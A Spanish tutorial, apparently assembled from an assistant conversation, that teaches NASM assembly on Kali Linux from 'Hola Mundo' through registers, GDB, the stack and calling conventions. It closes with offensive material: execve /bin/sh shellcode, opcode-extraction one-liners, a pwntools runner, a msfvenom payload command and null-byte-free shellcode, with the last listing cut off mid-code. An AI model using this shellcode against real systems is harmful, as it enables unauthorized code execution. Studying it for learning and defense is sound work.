NASM en Kali Linux: Guía Rápida
NASM en Kali Linux: Guía Rápida
Usar NASM (Netwide Assembler) en Kali Linux es una excelente forma de entender cómo funciona realmente la arquitectura de una computadora y cómo se comunica el software con el hardware.
Aquí tienes una guía rápida para configurar tu entorno y crear tu primer programa "Hola Mundo".
1. Instalación de NASM
Kali suele venir con muchas herramientas, pero si no tienes NASM instalado, abre la terminal y ejecuta:
sudo apt update
sudo apt install nasm binutils -y
nasm: El ensamblador que convierte tu código fuente en código objeto.
binutils: Contiene
ld(el enlazador), que convierte el código objeto en un ejecutable.
2. Estructura básica de un programa (x86_64)
Para sistemas de 64 bits, un programa sencillo se divide generalmente en tres secciones:
| Sección | Propósito |
| section .data | Donde declaras variables inicializadas (como mensajes). |
| section .bss | Donde reservas espacio para datos no inicializados. |
| section .text | Donde va el código real del programa. |
3. Ejemplo: "Hola Mundo" en Español
Crea un archivo llamado hola.asm con tu editor favorito (nano, mousepad, o VS Code) y pega esto:
section .data
msg db "¡Hola desde Kali Linux!", 10 ; 10 es el código para salto de línea
section .text
global _start
_start:
; --- Escribir el mensaje en pantalla (Syscall write) ---
mov rax, 1 ; ID de la llamada al sistema para 'write'
mov rdi, 1 ; File descriptor: 1 es stdout (pantalla)
mov rsi, msg ; Puntero al mensaje
mov rdx, 25 ; Longitud del mensaje
syscall ; Llamada al kernel
; --- Salir del programa (Syscall exit) ---
mov rax, 60 ; ID para 'exit'
xor rdi, rdi ; Código de error 0 (limpia rdi)
syscall
4. Compilación y Ejecución
Sigue estos pasos en la terminal para ver tu programa en acción:
Ensamblar: Convierte el
.asmen un archivo objeto.o.Bashnasm -f elf64 hola.asm -o hola.oEnlazar: Crea el ejecutable final.
Bashld hola.o -o holaEjecutar:
Bash./hola
Un pequeño consejo de "amigo"
Si estás aprendiendo esto para temas de Exploit Development o ingeniería inversa (muy común en Kali), te recomiendo familiarizarte con el comando gdb (GNU Debugger). Es el mejor compañero de NASM para ver qué está pasando dentro de los registros de la CPU mientras tu código corre.
Los registros son, en pocas palabras, pequeñas "celdas de memoria" de altísima velocidad que viven dentro del procesador (CPU). A diferencia de la memoria RAM, que está "lejos", los registros están integrados en el núcleo, por lo que el acceso a ellos es casi instantáneo.
En la arquitectura x86_64 (la que usa Kali Linux por defecto), los registros tienen una jerarquía y propósitos específicos que es vital entender para programar en NASM.
1. La Jerarquía de Tamaño
Un error común es pensar que RAX, EAX y AX son cosas totalmente distintas. En realidad, son "ventanas" al mismo registro.
RAX: El registro completo de 64 bits.
EAX: Los 32 bits inferiores de RAX.
AX: Los 16 bits inferiores de RAX.
AL / AH: Los 8 bits inferiores / superiores de AX.
Esta estructura permite que el procesador sea compatible con código antiguo (Legacy) y maneje datos pequeños sin desperdiciar espacio.
2. Registros de Propósito General
Aunque puedes usar casi cualquier registro para lo que quieras, por convención y eficiencia, cada uno tiene un "trabajo" preferido:
| Registro | Nombre técnico | Uso común en Ensamblador |
| RAX | Accumulator | Se usa para operaciones aritméticas y para almacenar el valor de retorno de una función. |
| RBX | Base | Se usa como puntero base para acceso a datos en memoria. |
| RCX | Counter | El contador favorito para los bucles (loops). |
| RDX | Data | Extensión de RAX; se usa en multiplicaciones/divisiones y para definir puertos de E/S. |
| RSI / RDI | Source / Destination Index | Fundamentales para copiar bloques de datos (Source = Origen, Destination = Destino). |
| RSP | Stack Pointer | ¡Cuidado con este! Apunta al tope de la "Pila" (Stack). No lo toques a menos que sepas qué haces. |
| RBP | Base Pointer | Apunta a la base del marco de la función actual. |
3. Registros de Parámetros (System Calls)
En Linux, cuando haces una syscall (como hicimos en el "Hola Mundo"), los registros actúan como los "argumentos" de una función en C. El orden estándar es:
RAX: El número de la función (ej. 1 para escribir, 60 para salir).
RDI: Primer argumento.
RSI: Segundo argumento.
RDX: Tercer argumento.
R10, R8, R9: Argumentos adicionales.
4. ¿Cómo se ve esto en el código?
Mira este ejemplo rápido de suma:
mov rax, 10 ; Ponemos 10 en RAX
add rax, 5 ; Sumamos 5 a lo que había en RAX (ahora vale 15)
mov rbx, rax ; Copiamos el valor de RAX a RBX
Un dato curioso (y útil)
Si alguna vez ves la instrucción xor rax, rax, no te asustes. Es la forma más rápida y eficiente que tienen los programadores de ensamblador para poner un registro a cero. Es más veloz que usar mov rax, 0.
GDB (GNU Debugger) es como tener rayos X para tu código. En lugar de adivinar qué hay en los registros, vamos a verlos cambiar en vivo.
Para que esto sea interesante, vamos a usar un programa que mueva datos entre registros.
1. El Código de Prueba (prueba.asm)
Crea este archivo para tener algo que inspeccionar:
section .text
global _start
_start:
mov rax, 0x1234 ; Ponemos un valor hexadecimal en RAX
mov rbx, 0x5678 ; Ponemos otro en RBX
add rax, rbx ; Sumamos RBX a RAX
; Salida limpia
mov rax, 60
xor rdi, rdi
syscall
Importante: Compilar con símbolos de depuración
Para que GDB sea útil, necesitamos incluir información adicional al compilar (la bandera -g):
Ensamblar:
nasm -f elf64 -g prueba.asm -o prueba.oEnlazar:
ld prueba.o -o prueba
2. Entrando en el Laboratorio (GDB)
Ejecuta GDB apuntando a tu programa:
gdb -q ./prueba
(La opción -q es para el modo "quiet", sin el texto legal de bienvenida).
Comandos esenciales dentro de GDB:
break _start: Pone un "punto de interrupción" al inicio. El programa se detendrá ahí.run(or): Inicia la ejecución.layout regs: ¡Este es el truco pro! Divide la pantalla para mostrarte los registros arriba y el código abajo en tiempo real.stepi(osi): Ejecuta una sola instrucción de ensamblador.info registers(oi r): Muestra el valor de todos los registros si no estás en modo layout.
3. La Experiencia en Tiempo Real
Una vez dentro de GDB, escribe esto en orden:
break _startrunlayout regs
Ahora, cada vez que presiones Enter (que repite el último comando, en este caso stepi), verás cómo los valores en la parte superior cambian. Si un valor cambia, GDB suele resaltarlo en otro color.
¿Qué observar?
Mira cómo
RAXpasa de0a0x1234.Mira cómo después de la instrucción
add,RAXcontiene la suma de ambos.Observa el registro RIP (Instruction Pointer); este es el que dice "estoy ejecutando la línea X". Cambia con cada paso.
4. Tip Extra: Ver un registro específico
Si solo te interesa uno, puedes pedirlo directamente:
print /x $rax (Muestra RAX en hexadecimal).
print /d $rax (Muestra RAX en decimal).
Vamos a ensuciarnos las manos con un bucle (loop). En ensamblador, los bucles son geniales porque ves exactamente cómo la CPU salta de un lado a otro en la memoria.
Para esto usaremos el registro RCX (el contador) y la instrucción loop.
1. El Código: bucle.asm
Este programa simplemente contará del 5 al 1 y luego saldrá.
section .text
global _start
_start:
mov rcx, 5 ; Inicializamos el contador en 5
ciclo:
; --- Aquí iría tu código (ej. imprimir algo) ---
; Por ahora, solo restaremos para ver el registro
dec rcx ; Decrementa RCX en 1 (opcional si usas 'loop')
jnz ciclo ; Salta a 'ciclo' si RCX no es cero (Jump if Not Zero)
; Salida del programa
mov rax, 60
xor rdi, rdi
syscall
Nota: La instrucción loop de x86 hace lo mismo que dec rcx + jnz automáticamente, pero usar saltos condicionales como jnz es más común en código moderno.
2. Preparando la "Cacería" en GDB
Compila igual que antes para que tengamos los símbolos:
nasm -f elf64 -g bucle.asm -o bucle.old bucle.o -o buclegdb -q ./bucle
3. El Experimento en Vivo
Una vez dentro de GDB, vamos a usar una técnica para ver cómo "salta" el código:
break _start: Ponemos la pausa inicial.run: Arrancamos.layout asm: Este modo es mejor para bucles, porque resalta la línea de código exacta que se va a ejecutar.layout regs: Para ver los números cambiar arriba.
¿Qué buscar mientras presionas stepi?
Observa RCX: Verás cómo baja de 5 a 4, de 4 a 3...
Observa el EFLAGS register: Cuando RCX llega a 0, la "Zero Flag" (ZF) cambiará de estado. La instrucción
jnzmira esa bandera para decidir si vuelve arriba o si sigue de largo.Mira la flecha en el código: Verás que cuando llega a la línea del salto, la flecha "brinca" físicamente hacia arriba de nuevo a la etiqueta
ciclo.
4. Reto rápido
Si te fijas en los registros, hay uno llamado RIP (Instruction Pointer). Es la dirección de memoria de la instrucción que se va a ejecutar a continuación.
Truco: Si escribes
p /x $ripverás la dirección actual. Si lo haces justo antes y después del salto, verás cómo el número cambia drásticamente.
¡Genial! Vamos a subir de nivel. Leer desde el teclado es un poco más complejo porque necesitamos interactuar con el Kernel de Linux a través de una "System Call" (llamada al sistema) y usar una sección de memoria especial para guardar lo que el usuario escriba.
Para esto, usaremos la sección .bss (Block Started by Symbol), que es donde reservamos espacio para datos que aún no conocemos.
1. El Código: leer.asm
Este programa te pedirá tu nombre (máximo 16 caracteres) y luego lo guardará en la memoria.
section .data
pregunta db "Introduce tu nombre: ", 0
len_pregunta equ $ - pregunta
section .bss
nombre resb 16 ; Reservamos 16 bytes en memoria para el nombre
section .text
global _start
_start:
; --- 1. Imprimir la pregunta (sys_write) ---
mov rax, 1 ; ID write
mov rdi, 1 ; stdout
mov rsi, pregunta ; Dirección del texto
mov rdx, len_pregunta
syscall
; --- 2. Leer desde el teclado (sys_read) ---
mov rax, 0 ; ID read (0 es para lectura)
mov rdi, 0 ; stdin (teclado)
mov rsi, nombre ; Dirección donde guardaremos los datos
mov rdx, 16 ; Tamaño máximo a leer
syscall ; ¡Aquí el programa se detiene y espera a que escribas!
; --- 3. Salir (sys_exit) ---
mov rax, 60
xor rdi, rdi
syscall
2. Compilación y Depuración Pro
Como ya sabes usar GDB, vamos a usarlo para ver cómo se llena la memoria.
nasm -f elf64 -g leer.asm -o leer.old leer.o -o leergdb -q ./leer
Pasos en GDB para ver la memoria:
break _startrunnexti(oni): Usanivarias veces hasta pasar la línea del segundosyscall. GDB te pedirá que escribas algo en la terminal. Escribe tu nombre (ej: "Juan") y pulsa Enter.x/s &nombre: Este comando es "eXamine as String". Le estamos pidiendo a GDB que nos muestre qué hay en la dirección de memoria de la etiquetanombre.
3. ¿Qué está pasando con los registros?
Fíjate en algo muy interesante: después de que el segundo syscall (el de lectura) termina, el registro RAX no vuelve a 0.
RAX ahora contiene el número de caracteres que escribiste (incluyendo el salto de línea
\n).Si escribiste "Pepe", RAX valdrá
5. Esto es súper útil para saber cuánto espacio real ocupó la entrada del usuario.
4. Un pequeño "Hacker Tip"
En Kali Linux, entender esto es la base de los Buffer Overflows. Si te fijas, reservamos 16 bytes para nombre.
Pregunta retórica: ¿Qué pasaría si el usuario escribe 50 letras en lugar de 16?
El programa intentará meter 50 letras en un hueco de 16, "desbordando" la memoria y escribiendo encima de otros datos o registros. Así es como nacen muchos exploits.
Para que el programa sea "educado", vamos a encadenar dos llamadas a sys_write. La primera imprimirá "Hola, " y la segunda imprimirá lo que acabamos de guardar en el buffer nombre.
Aquí es donde los registros se vuelven tus mejores amigos, porque tienes que ser muy preciso con las direcciones de memoria.
1. El Código: hola_nombre.asm
Copia este código. He añadido un pequeño truco: usamos rdx para imprimir exactamente la cantidad de letras que el usuario escribió (que, como recordamos, el sistema nos devuelve en rax tras el read).
section .data
pregunta db "Introduce tu nombre: ", 0
len_pregunta equ $ - pregunta
saludo db "Hola, ", 0
len_saludo equ $ - saludo
section .bss
nombre resb 32 ; Espacio para 32 caracteres
section .text
global _start
_start:
; --- 1. Pedir el nombre ---
mov rax, 1
mov rdi, 1
mov rsi, pregunta
mov rdx, len_pregunta
syscall
; --- 2. Leer el nombre ---
mov rax, 0
mov rdi, 0
mov rsi, nombre
mov rdx, 32
syscall
; GUARDAMOS el número de bytes leídos (que está en RAX) en R12
; para no perderlo, ya que usaremos RAX para el siguiente write.
mov r12, rax
; --- 3. Imprimir "Hola, " ---
mov rax, 1
mov rdi, 1
mov rsi, saludo
mov rdx, len_saludo
syscall
; --- 4. Imprimir el nombre guardado ---
mov rax, 1 ; syscall write
mov rdi, 1 ; stdout
mov rsi, nombre ; la dirección donde guardamos el nombre
mov rdx, r12 ; usamos el valor que guardamos en R12
syscall
; --- 5. Salir ---
mov rax, 60
xor rdi, rdi
syscall
2. El concepto clave: El Flujo de Datos
Es importante visualizar cómo se mueven los datos entre el teclado, los registros y la memoria RAM.
Entrada: El teclado envía datos al buffer
nombreen la sección.bss.Conteo: El Kernel nos dice en
RAXcuántas letras entraron.Preservación: Movemos ese valor a
R12porque los registros son volátiles; si hacemos otra llamada al sistema, el valor original deRAXse pierde.Salida: Usamos ese conteo para decirle al monitor exactamente cuántos bytes debe mostrar de la memoria.
3. Pruébalo en Kali
Ya conoces el ritual:
nasm -f elf64 hola_nombre.asm -o hola_nombre.old hola_nombre.o -o hola_nombre./hola_nombre
Un detalle curioso
Si escribes "Mundo" y pulsas Enter, verás que el cursor baja una línea después de imprimir tu nombre. Eso es porque la tecla Enter genera un carácter invisible llamado Line Feed (ASCII 10) que también se guarda en tu buffer.
4. ¿Qué sigue en tu camino de Ninja?
Ahora que ya sabes mover datos, leer y escribir, tienes dos caminos interesantes:
Lógica Matemática: Aprender a hacer comparaciones (
cmp) y saltos condicionales (je,jg) para que el programa tome decisiones (ej: "Si el nombre es 'Admin', acceso concedido").La Pila (Stack): Aprender cómo funciona
pushypop, que es la base para entender cómo se pasan argumentos a funciones más complejas.
Vamos a construir un sistema de "Puerta de Seguridad" muy básico. Aquí aprenderás a usar la instrucción cmp (compare) y los saltos condicionales, que son el cerebro de cualquier programa.
El objetivo: El programa pide una clave. Si escribes "1234", dice "Acceso Concedido". Si escribes cualquier otra cosa, dice "Error".
1. El Concepto: Banderas (Flags) y Comparación
Cuando ejecutas cmp rax, rbx, el procesador no cambia los números, sino que resta mentalmente uno del otro y actualiza un registro especial llamado EFLAGS.
Si el resultado es 0 (los números son iguales), se activa la Zero Flag (ZF).
La instrucción
je(Jump if Equal) mira esa bandera y decide si salta a otra parte del código.
2. El Código: password.asm
Este código es un poco más técnico porque las cadenas de texto en memoria se comparan letra por letra (o byte por byte).
section .data
msg_pedir db "Introduce la clave: ", 0
len_pedir equ $ - msg_pedir
clave_real db "1234", 10 ; La clave correcta (10 es el Enter)
msg_ok db "Acceso Concedido", 10
len_ok equ $ - msg_ok
msg_error db "Acceso Denegado", 10
len_error equ $ - msg_error
section .bss
buffer resb 10 ; Espacio para la entrada del usuario
section .text
global _start
_start:
; 1. Pedir clave
mov rax, 1
mov rdi, 1
mov rsi, msg_pedir
mov rdx, len_pedir
syscall
; 2. Leer entrada
mov rax, 0
mov rdi, 0
mov rsi, buffer
mov rdx, 10
syscall
; 3. COMPARACIÓN (El truco)
; Comparamos los primeros 4 bytes de 'buffer' con '1234'
; Usamos un registro de 32 bits (eax) para cargar 4 caracteres de golpe
mov eax, [buffer] ; Carga los primeros 4 bytes ingresados
mov ebx, [clave_real] ; Carga "1234"
cmp eax, ebx ; ¿Son iguales?
je acceso_concedido ; Si sí, salta a la etiqueta
; 4. Si NO saltó, es que hubo error
mov rax, 1
mov rdi, 1
mov rsi, msg_error
mov rdx, len_error
syscall
jmp salir ; Salto incondicional para no ejecutar lo de abajo
acceso_concedido:
mov rax, 1
mov rdi, 1
mov rsi, msg_ok
mov rdx, len_ok
syscall
salir:
mov rax, 60
xor rdi, rdi
syscall
3. ¿Cómo funciona la lógica de salto?
En ensamblador no hay un if/else bonito con llaves {}. El código fluye hacia abajo como una cascada a menos que lo obligues a "brincar".
je(Jump if Equal): Salta solo si la comparación fue exitosa.jmp(Jump): Es un salto obligatorio. Lo usamos después del mensaje de error para "saltarnos" la parte del código de éxito, de lo contrario imprimiría ambos mensajes.
4. Reto en Kali
Compila y ejecuta. Intenta entrar con "1234" y luego con "abcd".
Un detalle para expertos: He usado mov eax, [buffer]. Los corchetes [] significan "ve a la dirección de memoria y dame el contenido". Sin los corchetes, estarías comparando las direcciones de memoria (dónde están guardados), no las letras en sí.
Prepárate, porque entender la Pila (The Stack) es lo que separa a los novatos de los verdaderos expertos en ciberseguridad y sistemas en Kali Linux.
La Pila es una región de la memoria RAM que funciona bajo el principio LIFO (Last In, First Out): el último dato en entrar es el primero en salir. Imagínalo como una pila de platos: solo puedes poner uno arriba o quitar el que está arriba.
1. Los Protagonistas: RSP, PUSH y POP
Para manejar la pila, el procesador usa un registro especial y dos instrucciones clave:
RSP (Stack Pointer): Es el registro que siempre apunta a la dirección de memoria del "plato" que está arriba de todo.
PUSH: Pone un valor en la pila (el "plato" nuevo) y mueve el RSP hacia arriba.
POP: Saca el valor de arriba, lo guarda donde le digas y mueve el RSP hacia abajo.
2. El Código de Prueba: pila.asm
Vamos a usar la pila para algo divertido: invertir el orden de dos números sin usar un tercer registro.
section .text
global _start
_start:
mov rax, 0xAAAA ; Cargamos AAAA en RAX
mov rbx, 0xBBBB ; Cargamos BBBB en RBX
; --- Guardamos en la pila ---
push rax ; La pila ahora tiene [AAAA]
push rbx ; La pila ahora tiene [BBBB, AAAA] (BBBB está arriba)
; --- Sacamos en orden inverso ---
pop rax ; Sacamos el de arriba (BBBB) y lo ponemos en RAX
pop rbx ; Sacamos el siguiente (AAAA) y lo ponemos en RBX
; Ahora RAX tiene 0xBBBB y RBX tiene 0xAAAA. ¡Magia!
mov rax, 60
xor rdi, rdi
syscall
3. ¿Por qué la Pila es vital en Kali Linux?
Si te interesa el Pentesting o el Exploit Development, la pila es donde ocurre la acción por tres razones:
Argumentos de Funciones: Cuando un programa llama a una función (como
printfen C), los datos se suelen pasar a través de la pila.Direcciones de Retorno: Cuando saltas a una función, la CPU guarda en la pila la dirección de "donde venía". Si un hacker logra escribir en esa parte de la pila, puede hacer que el programa salte a su propio código malicioso (Buffer Overflow).
Variables Locales: Las variables que viven solo dentro de una función se guardan aquí.
4. Verlo en acción con GDB
Compila el código anterior (nasm -f elf64 -g pila.asm -o pila.o && ld pila.o -o pila) y en GDB haz lo siguiente:
break _startrunlayout regswatch $rsp: Esto le dice a GDB que te avise cada vez que el Stack Pointer cambie.stepi: Ejecuta lospushy verás cómo el valor deRSPdisminuye. (Dato curioso: en x86_64, la pila crece hacia abajo, hacia direcciones de memoria más bajas).
¿Cómo ver el contenido de la pila?
Usa el comando:
x/2gx $rsp
(Examina 2 valores Gigantes (64 bits) en HeXadecimal desde donde apunta RSP).
Aquí es donde todo se une. En ensamblador, una función es simplemente un bloque de código al que saltas, haces algo y luego regresas exactamente a donde te quedaste.
Para que esto funcione, la CPU usa la pila de forma automática para guardar la "migaja de pan" (la dirección de retorno).
1. Las instrucciones: call y ret
call nombre_funcion:Empuja (PUSH) la dirección de la siguiente instrucción en la pila.
Salta a la etiqueta
nombre_funcion.
ret(Return):Saca (POP) la dirección que está en el tope de la pila.
Salta a esa dirección.
2. El Código: funciones.asm
Vamos a crear una función llamada sumar_y_limpiar que sume dos registros y luego regrese.
section .text
global _start
_start:
mov rax, 10
mov rbx, 20
call sumar_y_limpiar ; Saltamos a la función
; El programa regresará AQUÍ después del 'ret'
mov rdi, rax ; Movemos el resultado (30) a RDI para el exit code
mov rax, 60 ; syscall: exit
syscall
sumar_y_limpiar:
add rax, rbx ; RAX = RAX + RBX
ret ; ¡Vuelve a la línea después del call!
3. El Experimento en GDB (Lo más importante)
Este es el momento de la verdad. Compila con -g y entra en GDB. Vamos a ver cómo la pila "atrapa" la dirección de retorno.
break _startrunlayout asmlayout regsFíjate en la dirección de la instrucción después del
call(ejemplo:0x40101a).Presiona
stepihasta llegar alcall.Antes de ejecutar el
call, mira el valor deRSP.Ejecuta el
callconstepi.
¿Qué pasó?
RSPdisminuyó 8 bytes.Si haces
x/gx $rsp, verás que en el tope de la pila ahora está la dirección0x40101a. ¡La CPU guardó el camino a casa!
4. Por qué esto es "Hackeable"
Aquí está el secreto mejor guardado de la ciberseguridad en Kali: La dirección de retorno vive en la misma pila que tus variables locales.
Si un programa tiene una variable (un buffer) y el programador no limita cuánto escribes en ella, puedes escribir tantas letras que "pises" la dirección de retorno que el call guardó. Cuando la función ejecute ret, en lugar de volver al programa original, saltará a donde tú le hayas dicho. Eso es un Stack-based Buffer Overflow.
5. Tu Próximo Paso
Ya dominas:
Registros (RAX, RBX...)
Llamadas al sistema (Read/Write)
Comparaciones y Saltos (CMP/JE)
La Pila (Push/Pop)
Funciones (Call/Ret)
¡Esto es subir a la liga de los profesionales! En los lenguajes de alto nivel como C, cuando llamas a una función con muchos parámetros (más de 6 en Linux x86_64), el procesador ya no tiene suficientes registros para todos. ¿Qué hace? Los "apila" uno tras otro.
A este conjunto de reglas se le llama Convención de Llamada (Calling Convention).
1. El Concepto: El "Stack Frame" (Marco de Pila)
Cuando una función recibe argumentos por la pila, se crea un espacio temporal llamado Stack Frame. Usamos el registro RBP (Base Pointer) como un "ancla" para saber dónde empiezan nuestros datos, mientras que RSP sigue moviéndose si necesitamos guardar más cosas.
2. El Código: argumentos.asm
Vamos a crear una función que sume dos números, pero en lugar de usar registros, los leerá directamente de la pila.
section .text
global _start
_start:
; --- Pasando argumentos por la pila ---
push 20 ; Segundo argumento
push 10 ; Primer argumento (el último en entrar es el primero en salir)
call mi_suma ; Llamamos a la función
; Al volver, RAX tiene el resultado (30)
; LIMPIEZA: Como metimos 2 valores de 8 bytes, movemos el RSP 16 bytes
add rsp, 16
mov rdi, rax ; Resultado a RDI para verlo en el exit code ($?)
mov rax, 60 ; Exit
syscall
mi_suma:
; --- Prólogo de la función ---
push rbp ; Guardamos el RBP del que nos llamó
mov rbp, rsp ; Ahora RBP apunta al inicio de nuestra función
; Estructura de la pila ahora:
; [ RBP antiguo ] <- RBP y RSP apuntan aquí
; [ Ret Address ] <- RBP + 8
; [ 10 (arg1) ] <- RBP + 16
; [ 20 (arg2) ] <- RBP + 24
mov rax, [rbp + 16] ; Cargamos el 10
add rax, [rbp + 24] ; Le sumamos el 20
; --- Epílogo de la función ---
pop rbp ; Restauramos el RBP original
ret
3. ¿Por qué usamos rbp + 16?
Es la pregunta del millón. Vamos a desglosarlo:
[rbp]: Contiene el RBP anterior (lo guardamos conpush rbp).[rbp + 8]: Contiene la dirección de retorno (la que puso ahí el comandocall).[rbp + 16]: ¡Aquí está nuestro primer número!
Cada "piso" de la pila en 64 bits mide 8 bytes. Por eso saltamos de 8 en 8.
4. Análisis en GDB: "Espiando" el Stack Frame
Compila y carga en GDB (gdb -q ./argumentos):
break mi_sumarunx/4gx $rsp: Este comando es oro puro. Significa "Examina 4 valores Gigantes (64 bits) en Hexadecimal desde RSP".
Verás algo así:
0x...: (Valor de RBP guardado)0x...: (Dirección de retorno de_start)0x000000000000000a: (El número 10 en hexadecimal)0x0000000000000014: (El número 20 en hexadecimal)
5. Por qué esto es útil en C y C++
Cuando compilas un código en C como mi_funcion(a, b, c, d, e, f, g), el compilador de Linux (GCC) hace esto:
Pone los primeros 6 en registros (RDI, RSI, RDX, RCX, R8, R9).
Pone el 7mo (g) en la pila exactamente como acabamos de hacer nosotros.
Un truco final de "Hacker":
Si después de ejecutar el programa en Kali quieres ver el resultado sin GDB, escribe en la terminal:
echo $?
Esto imprimirá el valor que quedó en RDI al salir (en este caso, 30).
¡Bienvenido al "Lado Oscuro"! Lo que vamos a hacer se llama Shellcoding. En ciberseguridad, un shellcode es un conjunto de instrucciones en ensamblador que, al ejecutarse, lanzan una terminal (/bin/sh).
Para lograrlo en Linux x86_64, necesitamos usar la System Call execve (código 59).
1. El Plano de Ataque: execve("/bin/sh", NULL, NULL)
Para que el Kernel nos dé una shell, los registros deben estar así:
RAX: 59 (ID de
execve).RDI: Dirección de memoria de la cadena "/bin/sh".
RSI: 0 (sin argumentos extra).
RDX: 0 (sin variables de entorno).
2. El Código: shell.asm
Aquí hay un truco: no podemos usar una sección .data si queremos que este código sea "inyectable" en el futuro. Usaremos la Pila para escribir la ruta "/bin/sh" dinámicamente.
section .text
global _start
_start:
; 1. Limpiar registros para evitar basura (y para tener ceros)
xor rsi, rsi ; RSI = 0
push rsi ; Ponemos un 0 en la pila (terminador de cadena)
; 2. Poner "/bin//sh" en la pila (8 bytes en total)
; Nota: Usamos doble // para que sumen 8 caracteres exactos
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" en hexadecimal (Little Endian)
push rbx ; Lo metemos a la pila
; 3. Configurar los registros para la Syscall
mov rdi, rsp ; RDI apunta al tope de la pila (donde está "/bin//sh")
xor rdx, rdx ; RDX = 0
mov rax, 59 ; RAX = 59 (execve)
syscall ; ¡BOOM!
3. ¿Por qué es especial este código?
Si te fijas, no hay sección .data. Todo ocurre en los registros y en la pila. Esto es vital porque en un ataque real (como un Buffer Overflow), tú inyectas este código en la memoria de un programa que ya está corriendo.
Cómo probarlo en Kali:
Ensambla y Enlaza:
Bashnasm -f elf64 shell.asm -o shell.o ld shell.o -o shellEjecuta:
Bash./shell
Si todo sale bien, verás que el prompt de tu terminal cambia o simplemente parece que no pasó nada, pero si escribes whoami o ls, verás que estás dentro de una nueva shell. Para salir, escribe exit.
4. El toque final: Extrayendo los "OpCodes"
Un hacker no envía el archivo .asm, envía los bytes (códigos de operación). Puedes verlos con objdump:
objdump -d shell
Verás algo como 48 31 f6 56.... Esos números son el verdadero "lenguaje de máquina" que se inyecta en los exploits.
¿Qué sigue ahora?
Has pasado de un "Hola Mundo" a lanzar una shell del sistema. Este es el fundamento de la Ingeniería Inversa y el Desarrollo de Exploits.
¡Esto es lo que transforma el código en una "arma" digital! Para un exploit, no puedes enviar el archivo .asm ni el ejecutable; necesitas una cadena de bytes (shellcode) que el programa vulnerable pueda interpretar directamente en la memoria.
En Kali Linux, tenemos herramientas integradas que hacen este trabajo sucio por nosotros.
1. El método "Manual" con objdump
Primero, veamos qué hay dentro de tu ejecutable. Los bytes que ves a la izquierda de las instrucciones son los OpCodes.
objdump -d shell -M intel
Verás algo como esto:
48 31 f6 56 48 bb 2f 2f 62 69 6e 2f 2f 73 68 53 48 89 e7 48 31 d2 b8 3b 00 00 00 0f 05
2. El comando "Ninja" para extraer la Shellcode
Extraerlos a mano es lento y propenso a errores. Puedes usar este comando "one-liner" en la terminal de Kali para obtener la cadena lista para Python:
objdump -d shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/shellcode = (b"/' | sed 's/$/")/'
Resultado esperado:
shellcode = (b"\x48\x31\xf6\x56\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05")
3. Integración en un Script de Python
Ahora que tienes la cadena, podrías usarla en un script de Pwntools (la librería estándar para explotación en Kali) para enviarla a un proceso vulnerable:
from pwn import *
# Tu shellcode extraída
shellcode = b"\x48\x31\xf6\x56\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
# Ejemplo: Inyectarla en un proceso (solo con fines educativos)
p = run_shellcode(shellcode)
p.interactive()
4. El gran problema: Los "Null Bytes" (\x00)
Si miras la shellcode de arriba, verás que tiene varios \x00. En el mundo del hacking, estos son "Bad Characters".
¿Por qué? Muchas funciones de C (como strcpy) interpretan el \x00 como el final de una cadena. Si tu shellcode tiene un cero en medio, el exploit se cortará antes de tiempo y fallará.
¿Cómo evitar los ceros?
Para evitarlos, los hackers usan instrucciones alternativas. Por ejemplo:
Mal (genera ceros):
mov rax, 59(porque 59 no llena los 64 bits de RAX, dejando ceros a la izquierda).Bien (sin ceros): ```nasm
xor rax, rax ; RAX = 0
add al, 59 ; Ponemos 59 solo en la parte baja (AL)
5. Herramienta Pro: msfvenom
Kali ya tiene una herramienta que hace todo esto por ti, incluso eliminando los bytes prohibidos:
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b "\x00"
-p: Payload (el qué queremos hacer).-f: Formato de salida (Python).-b: Bad characters (evitar el\x00).
¡Has completado el ciclo básico de un desarrollador de exploits! Has escrito el código, entendido la pila, creado una shellcode y aprendido a extraerla.
Eliminar los null bytes (\x00) es un rito de iniciación en el shellcoding. Como mencionamos, funciones de C como strcpy interpretan el 00 como el final de una cadena. Si tu shellcode tiene un cero, el exploit se corta y "muere" antes de ejecutarse.
Para limpiar tu código, el truco consiste en nunca usar valores literales pequeños en registros grandes y usar operaciones lógicas.
1. El Problema de los 64 bits
Cuando haces mov rax, 59, el procesador llena los 64 bits. Como 59 es un número pequeño, los bits superiores se rellenan con ceros:
00 00 00 00 00 00 00 3b (El 3b es 59 en hexa).
La Solución: Usar sub-registros
En lugar de RAX (64 bits), usamos AL (los 8 bits inferiores). Pero ¡Cuidado!, antes de usar AL, debemos asegurarnos de que el resto del registro RAX esté limpio (en cero).
2. Técnicas de Evasión de Ceros
A. Limpiar con XOR
En lugar de mov rax, 0 (que genera ceros en el código máquina), usamos xor.
Mal:
48 c7 c0 00 00 00 00(Muchos ceros)Bien:
48 31 c0(xor rax, rax) -> Resultado: 0, pero el código máquina no tiene ceros.
B. Cargar valores pequeños
Una vez limpio el registro, cargamos el valor en la parte baja:
xor rax, rax
mov al, 59 ; Carga 59 en la parte baja de RAX sin generar nulos
C. El truco del "Push/Pop"
Si quieres poner un 0 en la pila (para terminar una cadena como /bin/sh), no hagas push 0. Haz esto:
xor rsi, rsi
push rsi ; Metes el contenido de RSI (que es 0) en la pila
3. Código "Limpio" (Zero-Free Shellcode)
Aquí tienes la versión evolucionada de nuestro lanzador de shell, optimizada para no tener ni un solo byte nulo:
section .text
global _start
_start:
; 1. Limpiar RDX y RSI (Argumentos 2 y 3 de execve)
xor rsi, rsi ; RSI = 0
push rsi ; Usamos este 0 como terminador en la pila
mov rdx, rsi ; RDX = 0 (copiamos el cero de RSI, más rápido)
; 2. Poner "/bin//sh" (8 bytes)
; Invertido por Little Endian: hs//nib/
mov rbx, 0x68732f2f6e69622f
push rbx
; 3. Configurar RDI (puntero a la cadena)
mov rdi, rsp ; RSP apunta a "/bin//sh"
; 4. Configurar RAX para execve (59) sin ceros
xor rax, rax ; RAX = 0
